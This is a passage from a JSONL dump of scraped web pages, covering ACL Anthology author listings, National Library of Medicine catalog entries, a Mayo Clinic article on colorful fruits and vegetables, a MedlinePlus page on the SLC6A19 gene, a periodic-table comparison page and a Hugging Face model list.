libraries bundled for ease of use by engineers who do not speak Russian. RFET\u2019s current feature set includes features applicable to social media genres of text and to computational social science tasks. We demonstrate the effectiveness of the tool by using it in a personality trait identification task. We compare the performance of Support Vector Machines (SVMs) trained with and without the features provided by RFET; we also compare it to a SVM with neural embedding features generated by Sentence-BERT.\n2018\npdf bib\nArabic Data Science Toolkit: An API for Arabic Language Feature Extraction\nPaul Rodrigues | Valerie Novak | C. Anton Rytting | Julie Yelle | Jennifer Boutz\nProceedings of the Eleventh International Conference on Language Resources and Evaluation (LREC 2018)\n2014\npdf bib\nArCADE: An Arabic Corpus of Auditory Dictation Errors\nC. Anton Rytting | Paul Rodrigues | Tim Buckwalter | Valerie Novak | Aric Bills | Noah H. Silbert | Mohini Madgavkar\nProceedings of the Ninth Workshop on Innovative Use of NLP for Building Educational Applications\nSearch\nCo-authors\nPaul Rodrigues 4\nC. Anton Rytting 4\nVictor M. Frank 2\nJames R. Hull 2\nAric Bills 1\nshow all...\nJennifer Boutz 1\nTim Buckwalter 1\nJarrett G. W. Lee 1\nMohini Madgavkar 1\nLaurel Miller-Sims 1\nNoah H. Silbert 1\nMatthew Swahn 1\nJulie Yelle 1\nVenues\nlrec2\nbea1\nranlp1\nFix author\nACL materials are Copyright \u00a9 1963\u20132026 ACL; other materials are copyrighted by their respective copyright holders. Materials prior to 2016 here are licensed under the Creative Commons Attribution-NonCommercial-ShareAlike 3.0 International License. Permission is granted to make copies for the purposes of teaching and research. Materials published in or after 2016 are licensed on a Creative Commons Attribution 4.0 International License.\nThe ACL Anthology is managed and built by the ACL Anthology team of volunteers.\nSite last built on 06 February 2026 at 10:32 UTC with commit 3edd046.", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/5717365f-5cd5-4d34-baa0-61489ac0fe9b", "content_hash": "407e6ccaabd616fdab3fae9b56b4ae797e4b4a9ae95ceafe40e39849c8309c15", "created_at": "2026-03-28T05:10:41.963536083Z"} +{"id": "ed33461c-c632-4491-93c9-75ce7612cde9", "source": "brain", "text": "My Account - \u0420\u0435\u0454\u0441\u0442\u0440\u0430\u0446\u0456\u044f\n\nMy Account - \u0420\u0435\u0454\u0441\u0442\u0440\u0430\u0446\u0456\u044f\nJump to: Page Content, Site Navigation, Site Search\n\u0443\u043a\u0440\u0430\u0457\u0301\u043d\u0441\u044c\u043a\u0430 \u043c\u043e\u0301\u0432\u0430\nEnglish\nPortugu\u00eas (Brasil)\nEspa\u00f1ol\n\u4e2d\u6587(\u7b80\u4f53)\n\u10e5\u10d0\u10e0\u10d7\u10e3\u10da\u10d8\nAz\u0259rbaycanca\n\u0443\u043a\u0440\u0430\u0457\u0301\u043d\u0441\u044c\u043a\u0430 \u043c\u043e\u0301\u0432\u0430\nTi\u1ebfng Vi\u1ec7t\n\u0420\u0443\u0441\u0441\u043a\u0438\u0439\nMy Account\n\u041f\u043e\u0447\u0430\u0442\u043e\u043a \u0440\u043e\u0431\u043e\u0442\u0438\n\u041f\u0440\u043e \u0412\u0430\u0441\n\u0417\u0430\u0432\u0435\u0440\u0448\u0438\u0442\u0438\n\u0411\u0443\u0434\u044c \u043b\u0430\u0441\u043a\u0430, \u0432\u0432\u0435\u0434\u0456\u0442\u044c \u0441\u0432\u043e\u044e \u0430\u0434\u0440\u0435\u0441\u0443 \u0435\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0457 \u043f\u043e\u0448\u0442\u0438, \u0449\u043e\u0431 \u043c\u0438 \u043c\u043e\u0433\u043b\u0438 \u0432\u0438\u0437\u043d\u0430\u0447\u0438\u0442\u0438, \u0447\u0438 \u0454 \u0432\u0436\u0435 \u0443 \u0412\u0430\u0441 \u043e\u0431\u043b\u0456\u043a\u043e\u0432\u0438\u0439 \u0437\u0430\u043f\u0438\u0441.\nEmail\n\u041f\u0440\u043e\u0434\u043e\u0432\u0436\u0438\u0442\u0438\nCookie settings\n\u041a\u043e\u043d\u0442\u0430\u043a\u0442\u0438\n\u041f\u0440\u0430\u0432\u0438\u043b\u0430 \u0442\u0430 \u0443\u043c\u043e\u0432\u0438 \u0441\u0430\u0439\u0442\u0443\n\u041f\u043e\u043b\u0456\u0442\u0438\u043a\u0430 \u043a\u043e\u043d\u0444\u0456\u0434\u0435\u043d\u0446\u0456\u0439\u043d\u043e\u0441\u0442\u0456 \u0442\u0430 \u0432\u0438\u043a\u043e\u0440\u0438\u0441\u0442\u0430\u043d\u043d\u044f \u043a\u0443\u043a\u0456\n\u00a9 BMJ Publishing Group Limited 2026. \u0423\u0441\u0456 \u043f\u0440\u0430\u0432\u0430 \u0437\u0430\u0445\u0438\u0449\u0435\u043d\u043e.", "license": "apache-2.0", "quality_score": 0.75, "provenance": "pi.ruv.io/memory/ed33461c-c632-4491-93c9-75ce7612cde9", "content_hash": "ecb415f02cc17e83762e82d628f7ccb9cbbc4c37f9514dd4d53669b2daee8d1b", "created_at": "2026-03-28T05:10:40.921379206Z"} +{"id": "abb3e0a0-3a7d-46bb-89ec-ea20794da21d", "source": "brain", "text": "H\u00e1fnio e Ni\u00f3bio Tabela Peri\u00f3dica\n\nH\u00e1fnio e Ni\u00f3bio Tabela Peri\u00f3dica\n\u00d7\nH\u00e1fnio\n\u2612\nNi\u00f3bio\n\u2612\nTop\nADD \u2295\nCompare\nComparar Metais\nmetais de transi\u00e7\u00e3o\nS\u00e9rie actinide\ns\u00e9rie lantan\u00eddeos\nPostar Transi\u00e7\u00e3o Metal\nmetais alcalinos terrestres\nMetais alcalinos\n\u2315\n\u25bc\nX\nH\u00e1fnio\nX\nNi\u00f3bio\nH\u00e1fnio e Ni\u00f3bio Tabela Peri\u00f3dica\nH\u00e1fnio\nNi\u00f3bio\nAdd \u2295\nResumo\nTabela Peri\u00f3dica\nFatos\nusos\nF\u00edsico\nQu\u00edmico\nat\u00f4mico\nMec\u00e2nico\nMagn\u00e9tico\nT\u00e9rmico\nTodos\nTabela Peri\u00f3dica\nS\u00edmbolo\nHf\nNb\nN\u00famero grupo\n45\n0 17\n\ud83d\udc46\ud83c\udffb\nN\u00famero per\u00edodo\n65\n2 7\n\ud83d\udc46\ud83c\udffb\nQuadra\nd\nd\nFam\u00edlia Elemento\nTransi\u00e7\u00e3o\nTransi\u00e7\u00e3o\nN\u00famero CAS\n74405867440031\n7429905 54386242\n\ud83d\udc46\ud83c\udffb\nEspa\u00e7o grupo nome\nP63/mmc\nIm_ 3m\nEspa\u00e7o Grupo N\u00famero\n194,00229,00\n11 276\n\ud83d\udc46\ud83c\udffb\nComparar metais de transi\u00e7\u00e3o \u00bb Mais\nH\u00e1fnio vs B\u00f3hrio\nH\u00e1fnio vs D\u00fabnio\nH\u00e1fnio vs Copern\u00edcio\n\u00bb Mais Comparar metais de transi\u00e7\u00e3o\nmetais de transi\u00e7\u00e3o \u00bb Mais\nR\u00eanio Metal\nSeaborgium Metal\nH\u00e1ssio Metal\nRutherf\u00f3rdio Metal\nB\u00f3hrio Metal\nD\u00fabnio Metal\n\u00bb Mais metais de transi\u00e7\u00e3o\nmetais de transi\u00e7\u00e3o \u00bb Mais\nCopern\u00edcio Metal\nTabela Pe... | Fatos | usos | F\u00edsico\nNi\u00f3bio Metal\nTabela Pe... | Fatos | usos | F\u00edsico\nRut\u00eanio Metal\nTabela Pe... | Fatos | usos | F\u00edsico\nComparar metais de transi\u00e7\u00e3o \u00bb Mais\nNi\u00f3bio vs Seaborgium\nTabela Pe... | Fatos | usos | F\u00edsico\nNi\u00f3bio vs H\u00e1ssio\nTabela Pe... | Fatos | usos | F\u00edsico\nNi\u00f3bio vs Rutherf\u00f3rdio\nTabela Pe... | Fatos | usos | F\u00edsico\nEnglish\nEspa\u00f1ol\n\u65e5\u672c\u8a9e\nfran\u00e7ais\nDeutsche\nitaliano\n\ud55c\uad6d\uc5b4\nPolskie\n\u0939\u093f\u0902\u0926\u0940\n\u092e\u0930\u093e\u0920\u0940\n\u4e2d\u6587\nDutch\nT\u00fcrk\nRom\u00e2n\u0103\nTi\u1ebfng Vi\u1ec7t\nbahasa Indonesia\nJawa\nHome |\nAbout |\nContact |\nDisclaimer |\nTerms of Use |\nPrivacy Policy\n\u00a9 2015 - 2026 www.compareusvista.com\nDeveloped & Maintained by softUsvista Inc.", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/abb3e0a0-3a7d-46bb-89ec-ea20794da21d", "content_hash": "26f08dc9470a4a4916bc7f98ce5c5f3b86805a218d692c6486c52e4a9a3e1418", "created_at": "2026-03-28T05:10:40.805672339Z"} +{"id": "f0134acd-a98c-4cb9-bd9e-b7bd12b29390", "source": "brain", "text": "Report of the cholera at Sacramento in 1852: its analogy if not identity with malignant congestive intermittent : the attendant meteorological phen...\n\nReport of the cholera at Sacramento in 1852: its analogy if not identity with malignant congestive intermittent : the attendant meteorological phenomena : history, pathology and treatment of the disease : a letter to the editor - Digital Collections - National Library of Medicine\nSkip to search Skip to main content\nAn official website of the United States government. Here\u2019s how you know\nOfficial websites use .gov\nA .gov website belongs to an official government organization in the United States.\nSecure .gov websites use HTTPS\nA lock ( Lock\nA locked padlock ) or https:// means you\u2019ve safely connected to the .gov website. Share sensitive information only on official, secure websites.\nsearch for\nSearch\nAbout\nHelp\nWeb Service\nReport of the cholera at Sacramento in 1852: its analogy if not identity with malignant congestive intermittent : the attendant meteorological phenomena : history, pathology and treatment of the disease : a letter to the editor\nReport of the cholera at Sacramento in 1852: its analogy if not identity with malignant congestive intermittent : the attendant meteorological phenomena : history, pathology and treatment of the disease : a letter to the editor\nCollection:\nCholera Online, 1817 to 1923\nMedicine in the Americas, 1610-1920\nAuthor(s):\nLogan, Thos. M. (Thomas Muldrup), 1808-1876\nPublication:\n[New Orleans? : s.n., 1853?]\nLanguage(s):\nEnglish\nFormat:\nText\nSubject(s):\nCholera\nDisease Outbreaks\nMeteorological Concepts\nCalifornia\nCopyright:\nThe National Library of Medicine believes this item to be in the public domain (More information)\nExtent:\np. 488-500\nNLM Unique ID:\n34711310R (See catalog record)\nPermanent Link:\nhttp://resource.nlm.nih.gov/34711310R\nView Book\nDownload\nBook (PDF) OCR (Text) Metadata (Dublin Core)\nConnect with NLM\nNational Library of Medicine\n8600 Rockville Pike\nBethesda, MD 20894\nWeb Policies\nFOIA\nHHS Vulnerability Disclosure\nNLM Support Center\nAccessibility\nCareers\nNLM | NIH | HHS | USA.gov", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/f0134acd-a98c-4cb9-bd9e-b7bd12b29390", "content_hash": "6cd25aff19785136b6d134b88f1d289faac31a9809dba140e75b471b12ea0823", "created_at": "2026-03-28T05:10:40.725341765Z"} +{"id": "58610086-ed67-4d57-84d6-4052ac848871", "source": "brain", "text": "Digital Collections - National Library of Medicine\n\nDigital Collections - National Library of Medicine\nSkip to search Skip to main content\nAn official website of the United States government. Here\u2019s how you know\nOfficial websites use .gov\nA .gov website belongs to an official government organization in the United States.\nSecure .gov websites use HTTPS\nA lock ( Lock\nA locked padlock ) or https:// means you\u2019ve safely connected to the .gov website. Share sensitive information only on official, secure websites.\nsearch for\nSearch\nAbout\nHelp\nWeb Service\n\u00ab Previous Next \u00bb\nA-Z Sort Numerical Sort\nTitles\n\u00d7\nAll\nA\nB\nC\nD\nE\nF\nG\nH\nI\nJ\nK\nL\nM\nN\nO\nP\nQ\nR\nS\nT\nU\nV\nW\nX\nY\nZ\n\u00ab Previous Next \u00bb\nA-Z Sort Numerical Sort\nConnect with NLM\nNational Library of Medicine\n8600 Rockville Pike\nBethesda, MD 20894\nWeb Policies\nFOIA\nHHS Vulnerability Disclosure\nNLM Support Center\nAccessibility\nCareers\nNLM | NIH | HHS | USA.gov", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/58610086-ed67-4d57-84d6-4052ac848871", "content_hash": "ac2585db6b3b91ff3dc7675c3d438f1e81093bc4c9fd48f44671378f23fa2b50", "created_at": "2026-03-28T05:10:40.719609482Z"} +{"id": "edc966e4-ed80-4217-861d-8e9703d0ab66", "source": "brain", "text": "Sahajpreet Singh - ACL Anthology\n\nSahajpreet Singh - ACL Anthology\nACL Anthology\nNews(current)\nFAQ(current)\nCorrections(current)\nSubmissions(current)\nGitHub\nSahajpreet Singh\n2024\npdf bib abs\nHate Personified: Investigating the role of LLMs in content moderation\nSarah Masud | Sahajpreet Singh | Viktor Hangya | Alexander Fraser | Tanmoy Chakraborty\nProceedings of the 2024 Conference on Empirical Methods in Natural Language Processing\nFor subjective tasks such as hate detection, where people perceive hate differently, the Large Language Model\u2019s (LLM) ability to represent diverse groups is unclear. By including additional context in prompts, we comprehensively analyze LLM\u2019s sensitivity to geographical priming, persona attributes, and numerical information to assess how well the needs of various groups are reflected. Our findings on two LLMs, five languages, and six datasets reveal that mimicking persona-based attributes leads to annotation variability. Meanwhile, incorporating geographical signals leads to better regional alignment. We also find that the LLMs are sensitive to numerical anchors, indicating the ability to leverage community-based flagging efforts and exposure to adversaries. Our work provides preliminary guidelines and highlights the nuances of applying LLMs in culturally sensitive cases.\npdf bib abs\nIntent-conditioned and Non-toxic Counterspeech Generation using Multi-Task Instruction Tuning with RLAIF\nAmey Hengle | Aswini Padhi | Sahajpreet Singh | Anil Bandhakavi | Md Shad Akhtar | Tanmoy Chakraborty\nProceedings of the 2024 Conference of the North American Chapter of the Association for Computational Linguistics: Human Language Technologies (Volume 1: Long Papers)\nCounterspeech, defined as a response to mitigate online hate speech, is increasingly used as a non-censorial solution. The effectiveness of addressing hate speech involves dispelling the stereotypes, prejudices, and biases often subtly implied in brief, single-sentence statements or abuses. These expressions challenge language models, especially in seq2seq tasks, as model performance typically excels with longer contexts. Our study introduces CoARL, a novel framework enhancing counterspeech generation by modeling the pragmatic implications underlying social biases in hateful statements. The first two phases of CoARL involve sequential multi-instruction tuning, teaching the model to understand intents, reactions, and harms of offensive statements, and then learning task-specific low-rank adapter weights for generating intent-conditioned counterspeech. The final phase uses reinforcement learning to fine-tune outputs for effectiveness and nontoxicity. CoARL outperforms existing benchmarks in intent-conditioned counterspeech generation, showing an average improvement of \u223c3 points in intent-conformity and \u223c4 points in argument-quality metrics. Extensive human evaluation supports CoARL\u2019s efficacy in generating superior and more context-appropriate responses compared to existing systems, including prominent LLMs like ChatGPT.\nSearch\nCo-authors\nTanmoy Chakraborty 2\nMd. Shad Akhtar 1\nAnil Bandhakavi 1\nAlexander Fraser 1\nViktor Hangya 1\nshow all...\nAmey Hengle 1\nSarah Masud 1\nAswini Padhi 1\nVenues\nemnlp1\nnaacl1\nFix author\nACL materials are Copyright \u00a9 1963\u20132026 ACL; other materials are copyrighted by their respective copyright holders. Materials prior to 2016 here are licensed under the Creative Commons Attribution-NonCommercial-ShareAlike 3.0 International License. Permission is granted to make copies for the purposes of teaching and research. Materials published in or after 2016 are licensed on a Creative Commons Attribution 4.0 International License.\nThe ACL Anthology is managed and built by the ACL Anthology team of volunteers.\nSite last built on 06 February 2026 at 10:32 UTC with commit 3edd046.", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/edc966e4-ed80-4217-861d-8e9703d0ab66", "content_hash": "fbfa2bf1211575cce7cd4906acecbe1b41d591c7b55e3746b9417ba0878b6f5d", "created_at": "2026-03-28T05:10:40.719598249Z"} +{"id": "5fdd0def-16c4-4f99-b821-5f7fb0b3d6be", "source": "brain", "text": "Primary Care in Rochester and Kasson\n\nPrimary Care in Rochester and Kasson\nSearch\nTwitter\nFacebook\nPinterest\nYouTube\nHome\nFind a Clinic\nFind a Job\nLog in to Patient Account\nHome\nFeatured Stories\nColor Your Way\nPrimary Care in Rochester and Kasson\nCare Team\nLocations / Hours\nCare Options\nPrimary Care\nPrimary Care On Demand\nNeed Care Now?\nPrevention & Wellness\nHealth Forms\nFeatures\nClasses / Events\nFeatured Stories\nFeatured Videos\nFAQs\nContact Us\nFind a Study\nColor your way to 5 a day\n7/23/2018 by Rose Prissel, MS, RDN, LD\nWith fresh, in-season fruits and vegetables flooding into supermarkets and local farmers markets, it's a perfect time to practice and have fun \"painting\" your plate with color.\nThere are thousands of health-promoting phytochemicals found in plants. Researchers are just beginning to understand how they work to improve our health. But they do know it's important to eat a wide variety of colorful fruits and veggies to reap those health benefits.\nPutting a rainbow of colors on your plate or in your lunch bag can make it easier to eat the five to nine services of fruits and vegetables recommended for every day. Painting your plate starts at the supermarket or farmers market. When shopping, look for an array of colors, choosing ones you and your family love and maybe experimenting with something new.\nHere are some ideas for fruits and veggies to help you build your healthy-eating paint box:\nRed: Strawberries, raspberries, cherries, watermelon, apples, radishes, tomatoes, red kidney beans, red peppers (spicy or sweet), red-skinned potatoes\nOrange: Oranges, apricots, peaches, cantaloupe, mangoes, sweet potatoes, acorn squash, pumpkin, summer squash, carrots\nYellow: Lemons, pineapple, golden apples, bananas, starfruit, yellow tomatoes, sweet corn, yellow peppers, summer squash, golden beets\nGreen: Kiwi fruit, green grapes, avocados, Granny Smith apples, honeydew melon, spinach, green beans, broccoli, Brussels sprouts, snap peas\nBlue/purple. Blueberries, blackberries, boysenberries, black seedless grapes, plums, raisins, purple cabbage, eggplant, purple potatoes, radicchio\nWhite. Grapefruit, pears, baking potatoes, onions, mushrooms, jicama, cauliflower, navy or cannelloni beans, parsnips\nFresh fruits and veggies that are in season can be easier on your food budget. And remember that frozen produce is just as nutrient-packed as fresh and often can be more affordable.\nStart your plate painting with these easy, colorful and summery recipes.\nGrilled Fruit Chunks\nCut peaches, pears, apples, pineapple or a combination of these fruits into chunks. Toss with a little canola oil, sprinkle with cinnamon and thread onto skewers. Wrap in foil and grill over low heat for 3 to 5 minutes.\nPasta Primavera\nCook whole-grain pasta. Steam cut-up broccoli, cauliflower, carrots and green peas. Stir in chunks of fresh tomatoes and torn-up fresh basil. spoon the veggies over the pasta. Drizzle with a little light or no-calorie Italian dressing and sprinkle with Parmesan cheese.\nRose Prissel, MS, RDN, LD, is a dietitian at Mayo Clinic working in pediatric and adult nutrition, with a focus on preventive care, sports nutrition and weight management.\nAbout Mayo Clinic\nEmployees\nFind a job\nTwitter\nFacebook\nPinterest\nYouTube\nMayo Clinic is a not-for-profit organization. Make a donation.\nPatient Care & Health Info\nHealthy Lifestyle\nSymptoms A-Z\nDiseases & Conditions A-Z\nTests & Procedures A-Z\nDrugs & Supplements A-Z\nAppointments\nPatient & Visitor Guide\nPatient Online Services\nDepartments & Centers\nDoctors & Medical Staff\nMedical Departments & Centers\nResearch Centers & Programs\nAbout Mayo Clinic\nContact Mayo Clinic\nResearch\nExplore Research Labs\nFind Clinical Trials\nResearch Faculty\nPostdoctoral Fellowships\nDiscovery's Edge Magazine\nSearch Publications\nTraining Grant Positions\nEducation\nMayo Clinic Alix School of Medicine\nMayo Clinic School of Graduate Medical Education\nMayo Clinic School of Continuous Professional Development\nMayo Clinic School of Health Sciences\nMayo Clinic Graduate School of Biomedical Sciences\nAlumni Center\nFor Medical Professionals\nProvider Relations\nOnline Services for Referring Physicians\nVideo Center\nPublications\nMayo Medical Laboratories\nProducts & Services\nHealthy Living Program\nMayo Clinic Press\nMayo Clinic Health Letter\nMedical Products\nPopulation Health and Wellness Programs\nHealth Plan Administration\nMedical Laboratory Services\nAny use of this site constitutes your agreement to the Terms and Conditions and Privacy Policy linked below.\nTerms and Conditions\nPrivacy Policy\nNotice of Privacy Practices\nNotice of Nondiscrimination\nA single copy of these materials may be reprinted for noncommercial personal use only. \"Mayo,\" \"Mayo Clinic,\" \"MayoClinic.org,\" \"Mayo Clinic Healthy Living,\" and the triple-shield Mayo Clinic logo are trademarks of Mayo Foundation for Medical Education and Research\n\u00a9 1998-2023 Mayo Foundation for Medical Education and Research (MFMER). All rights reserved.", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/5fdd0def-16c4-4f99-b821-5f7fb0b3d6be", "content_hash": "b7c1d796b91ee3898d810082549db631e6d58135adcef61c334c2cbe09e832b5", "created_at": "2026-03-28T05:10:40.719559210Z"} +{"id": "809789b3-153d-40ac-a095-3b70262fd53c", "source": "brain", "text": "SLC6A19 gene: MedlinePlus Genetics\n\nSLC6A19 gene: MedlinePlus Genetics\nSkip navigation\nAn official website of the United States government\nHere\u2019s how you know\nHere\u2019s how you know\nOfficial websites use .gov\nA .gov website belongs to an official government organization in the United States.\nSecure .gov websites use HTTPS\nA lock ( Lock\nLocked padlock icon ) or https:// means you\u2019ve safely connected to the .gov website. Share sensitive information only on official, secure websites.\nNational Library of Medicine\nMenu\nHealth Topics\nDrugs & Supplements\nGenetics\nMedical Tests\nMedical Encyclopedia\nAbout MedlinePlus\nSearch\nSearch MedlinePlus\nGO\nAbout MedlinePlus\nWhat's New\nSite Map\nCustomer Support\nHealth Topics\nDrugs & Supplements\nGenetics\nMedical Tests\nMedical Encyclopedia\nYou Are Here:\nHome \u2192\nGenetics \u2192\nGenes \u2192\nSLC6A19 gene\nURL of this page: https://medlineplus.gov/genetics/gene/slc6a19/\nSLC6A19 gene\nsolute carrier family 6 member 19\nTo use the sharing features on this page, please enable JavaScript.\nNormal Function\nThe SLC6A19 gene provides instructions for making a protein called system B(0) neutral amino acid transporter 1 (B0AT1). This protein transports certain protein building blocks (amino acids), namely those with a neutral charge, into cells. B0AT1 is found primarily in the membrane of intestinal cells that make up the brush border, which lines the walls of the intestine and absorbs nutrients from food. B0AT1 transports the neutral amino acids from food into intestinal cells; from there the amino acids are released into the bloodstream to be used by the body. B0AT1 is also found in the membrane of kidney cells, specifically in cells of the proximal tubules, which are structures that help to reabsorb nutrients and other materials into the blood and excrete unneeded substances into the urine. In the kidneys, B0AT1 reabsorbs neutral amino acids into the bloodstream so they are not released in urine.\nHealth Conditions Related to Genetic Changes\nHartnup disease\nAt least 23 mutations in the SLC6A19 gene have been found to cause Hartnup disease. This condition is characterized by increased levels of amino acids in the urine (aminoaciduria). Some individuals have episodes during which they exhibit skin rashes or movement or cognitive problems. Most of the mutations that cause Hartnup disease change single amino acids in the B0AT1 protein, reducing its activity. A mutation that has been identified in multiple affected families replaces the amino acid aspartic acid with the amino acid asparagine at position 173 in the protein (written as Asp173Asn or D173N).\nThe reduced B0AT1 activity leads to large amounts of neutral amino acids being removed from the body as waste. As a result, affected individuals are lacking (deficient) in certain amino acids and vitamins. Most affected people get the nutrients they need from a well-balanced diet. However, some individuals are nutrient-deficient due to their diet, illness, stress, or a variety of other reasons and can develop skin rashes or movement or psychiatric problems. Researchers believe that many of these features are related to a deficiency of vitamin B3 (niacin) and one of its main components, the amino acid tryptophan.\nMore About This Health Condition\nOther Names for This Gene\nB0AT1\nHND\nsodium-dependent amino acid transporter system B0\nsodium-dependent neutral amino acid transporter B(0)AT1\nsolute carrier family 6 (neutral amino acid transporter), member 19\nsystem B(0) neutral amino acid transporter AT1\nsystem B0 neutral amino acid transporter\nAdditional Information & Resources\nTests Listed in the Genetic Testing Registry\nTests of SLC6A19\nScientific Articles on PubMed\nPubMed\nCatalog of Genes and Diseases from OMIM\nSOLUTE CARRIER FAMILY 6 (NEUROTRANSMITTER TRANSPORTER), MEMBER 19; SLC6A19\nGene and Variant Databases\nNCBI Gene\nClinVar\nReferences\nAzmanov DN, Rodgers H, Auray-Blais C, Giguere R, Bailey C, Broer S, Rasko JE, Cavanaugh JA. Persistence of the common Hartnup disease D173N allele in populations of European origin. Ann Hum Genet. 2007 Nov;71(Pt 6):755-61. doi: 10.1111/j.1469-1809.2007.00375.x. Epub 2007 Jun 7. Citation on PubMed\nBroer S. The role of the neutral amino acid transporter B0AT1 (SLC6A19) in Hartnup disorder and protein nutrition. IUBMB Life. 2009 Jun;61(6):591-9. doi: 10.1002/iub.210. Citation on PubMed\nCamargo SM, Singer D, Makrides V, Huggel K, Pos KM, Wagner CA, Kuba K, Danilczyk U, Skovby F, Kleta R, Penninger JM, Verrey F. Tissue-specific amino acid transporter partners ACE2 and collectrin differentially interact with hartnup mutations. Gastroenterology. 2009 Mar;136(3):872-82. doi: 10.1053/j.gastro.2008.10.055. Epub 2008 Oct 29. Citation on PubMed\nKleta R, Romeo E, Ristic Z, Ohura T, Stuart C, Arcos-Burgos M, Dave MH, Wagner CA, Camargo SR, Inoue S, Matsuura N, Helip-Wooley A, Bockenhauer D, Warth R, Bernardini I, Visser G, Eggermann T, Lee P, Chairoungdua A, Jutabha P, Babu E, Nilwarangkoon S, Anzai N, Kanai Y, Verrey F, Gahl WA, Koizumi A. Mutations in SLC6A19, encoding B0AT1, cause Hartnup disorder. Nat Genet. 2004 Sep;36(9):999-1002. doi: 10.1038/ng1405. Epub 2004 Aug 1. Citation on PubMed\nSeow HF, Broer S, Broer A, Bailey CG, Potter SJ, Cavanaugh JA, Rasko JE. Hartnup disorder is caused by mutations in the gene encoding the neutral amino acid transporter SLC6A19. Nat Genet. 2004 Sep;36(9):1003-7. doi: 10.1038/ng1406. Epub 2004 Aug 1. Citation on PubMed\nGenomic Location\nThe SLC6A19 gene is found on chromosome 5.\nRelated Health Topics\nGenes and Gene Therapy\nGenetic Disorders\nMEDICAL ENCYCLOPEDIA\nGenes\nGenetics\nUnderstanding Genetics\nWhat is DNA?\nWhat is a gene?\nWhat is a gene variant and how do variants occur?\nDisclaimers\nMedlinePlus links to health information from the National Institutes of Health and other federal government agencies. MedlinePlus also links to health information from non-government Web sites. See our disclaimer about external links and our quality guidelines.\nThe information on this site should not be used as a substitute for professional medical care or advice. Contact a health care provider if you have questions about your health.\nLearn how to cite this page\nAbout MedlinePlus\nWhat's New\nSite Map\nCustomer Support\nSubscribe to RSS\nConnect with NLM\nNLM Web Policies\nCopyright\nAccessibility\nGuidelines for Links\nViewers & Players\nHHS Vulnerability Disclosure\nMedlinePlus Connect for EHRs\nFor Developers\nNational Library of Medicine 8600 Rockville Pike, Bethesda, MD 20894 U.S. Department of Health and Human Services National Institutes of Health\nLast updated May 1, 2016", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/809789b3-153d-40ac-a095-3b70262fd53c", "content_hash": "fa4bb4327cab2d31740bfb339f2a3e5949c430ecb6db05c76a589a373031f1a6", "created_at": "2026-03-28T05:10:40.580884068Z"} +{"id": "2dcc9412-c9a6-4d97-bab5-e03c7c585962", "source": "brain", "text": "Tubular wells and wells in general, as a source of water supply for domestic purposes - Digital Collections - National Library of Medicine\n\nTubular wells and wells in general, as a source of water supply for domestic purposes - Digital Collections - National Library of Medicine\nSkip to search Skip to main content\nAn official website of the United States government. Here\u2019s how you know\nOfficial websites use .gov\nA .gov website belongs to an official government organization in the United States.\nSecure .gov websites use HTTPS\nA lock ( Lock\nA locked padlock ) or https:// means you\u2019ve safely connected to the .gov website. Share sensitive information only on official, secure websites.\nsearch for\nSearch\nAbout\nHelp\nWeb Service\nTubular wells and wells in general, as a source of water supply for domestic purposes\nTubular wells and wells in general, as a source of water supply for domestic purposes\nCollection:\nMedicine in the Americas, 1610-1920\nAuthor(s):\nHoadley, J. C. (John Chipman), 1818-1886 author\nPublication:\n[Boston?] : [publisher not identified], [1884?]\nLanguage(s):\nEnglish\nFormat:\nText\nSubject(s):\nWater Wells\nCopyright:\nThe National Library of Medicine believes this item to be in the public domain. (More information)\nExtent:\n36 pages, 10 leaves of plates (some folded)\nIllustrations:\nIllustrations and Plates\nNLM Unique ID:\n101190994 (See catalog record)\nOCLC no.:\n53091334\nPermanent Link:\nhttp://resource.nlm.nih.gov/101190994\nView Book\nDownload\nBook (PDF) OCR (Text) Metadata (Dublin Core)\nConnect with NLM\nNational Library of Medicine\n8600 Rockville Pike\nBethesda, MD 20894\nWeb Policies\nFOIA\nHHS Vulnerability Disclosure\nNLM Support Center\nAccessibility\nCareers\nNLM | NIH | HHS | USA.gov", "license": "apache-2.0", "quality_score": 0.75, "provenance": "pi.ruv.io/memory/2dcc9412-c9a6-4d97-bab5-e03c7c585962", "content_hash": "7c924321ecfe091de46458e98c683a19a30fcc975001b092b48e0760dad9e054", "created_at": "2026-03-28T05:10:40.496728879Z"} +{"id": "46999947-2237-4c1d-a139-b02b8750d89d", "source": "brain", "text": "Models \u2013 Hugging Face\n\nModels \u2013 Hugging Face\nHugging Face\nModels\nDatasets\nSpaces\nCommunity\nDocs\nEnterprise\nPricing\nLog In\nSign Up\nEdit Models filters\nMain\nTasks\nLibraries\nLanguages\nLicenses\nOther 1\nApps\nllama.cpp\nLM Studio\nJan\nDraw Things\nDiffusionBee\nJellybox\nJoyFusion\nLocalAI\nvLLM\nOllama\nMLX LM\nDocker Model Runner\nLemonade\nSGLang\nInference Providers\nSelect all\nGroq\nNovita\nCerebras\nSambaNova\nNscale\nfal\nHyperbolic\nTogether AI\nFireworks\nFeatherless AI\nZai\nReplicate\nCohere\nScaleway\nPublic AI\nOVHcloud AI Endpoints\nHF Inference API\nWaveSpeed\nMisc\nReset Misc\nbigcode/starcoderdata\nInference Endpoints\ntext-generation-inference\nEval Results (legacy)\ntext-embeddings-inference\nMerge\n4-bit precision\ncustom_code\n8-bit precision\nMixture of Experts\nCarbon Emissions\nEval Results\nApply filters\nModels\n869\nFull-text search\nInference Available\nEdit filters\nSort: Trending\nActive filters: bigcode/starcoderdata\nClear all\nTinyLlama/TinyLlama-1.1B-Chat-v1.0\nText Generation \u2022 1B \u2022 Updated Mar 17, 2024 \u2022 1.63M \u2022 1.52k\nBlinkDL/rwkv7-g1\nText Generation \u2022 Updated 6 days ago \u2022 162\nor4cl3ai/Aiden_t5\nText Generation \u2022 Updated Oct 6, 2023 \u2022 874 \u2022 20\nTheBloke/TinyLlama-1.1B-Chat-v1.0-GGUF\n1B \u2022 Updated Dec 31, 2023 \u2022 118k \u2022 211\nBSC-LT/ALIA-40b\nText Generation \u2022 40B \u2022 Updated Oct 22, 2025 \u2022 94 